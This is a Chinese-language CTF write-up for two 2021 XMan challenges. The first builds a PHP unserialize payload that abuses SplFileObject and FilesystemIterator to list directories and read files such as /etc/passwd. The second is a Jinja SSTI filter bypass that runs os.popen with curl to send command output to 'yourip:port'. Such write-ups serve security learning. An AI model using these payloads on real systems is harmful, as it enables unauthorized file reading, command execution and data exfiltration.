2021 XMan
ezphp
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "Hel";
$this->para = "xctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('what?Really?');
}
}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['xctf'])){
unserialize($_GET['xctf']);
}
else{
$a=new XMAN;
}
这道题就是个基础的反序列化调用PHP内置类的题目。这里将反序列化后的属性经过Filter类的·vaild()
检查没有黑名单的字符之后再用echo new $this->class ($this->para);
动态调用类。这里我们主要用到两个PHP的内置类,一个是读目录的FilesystemIterator类,另一个是读文件的SplFileObject类。
FilesystemIterator类
example:
<?php
$dir=new FilesystemIterator("/");
echo $dir;
这样回输出目录下的第一个文件名,也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:
<?php
$dir=new FilesystemIterator("glob:///*flag*");
echo $dir;
如果想输出全部的文件名我们还需要对$dir
对象进行遍历:
<?php
$dir=new FilesystemIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
这里我们需要对/var/www/html
这个目录下进行查找:
<?php
class XMAN{
public $class='FilesystemIterator';
public $para='/var/www/html';
public $check;
}
$a = new XMAN();
echo urlencode(serialize($a));
得到:
//?xctf=O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}
题目里还有一层目录,同理继续查找即可得到flag的名字为f1a4.php
SplFileObject类
这个内置类的用法和上面的一样,都是直接将文件路径直接类的初始化参数即可.
example:
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
同样这个类也只能读一行内容,想要输出全部内容还需要对类进行遍历:
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
这里我们直接读flag文件即可:
//?xctf=O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:37:"/var/www/html/xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}
ezssti
这是道原题,需要SSTI绕过过滤之后将内容通过curl
命令外带。刷题记录:[GWCTF 2019]你的名字
首先测试过滤,发现过滤了{{
和}}
,可以用{% if ... %}{% endif %}
代替,用os.popen
+curl
来带出数据。
再看过滤方法:
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s
这个逻辑是按顺序针对每个关键词过滤,只能应付双写绕过,还可以用列表的最后一项来绕过过滤。
paylaod:
// 根目录查flag:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d `ls / | grep flag`;') %}1{% endiconfigf %}
// 读flag:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}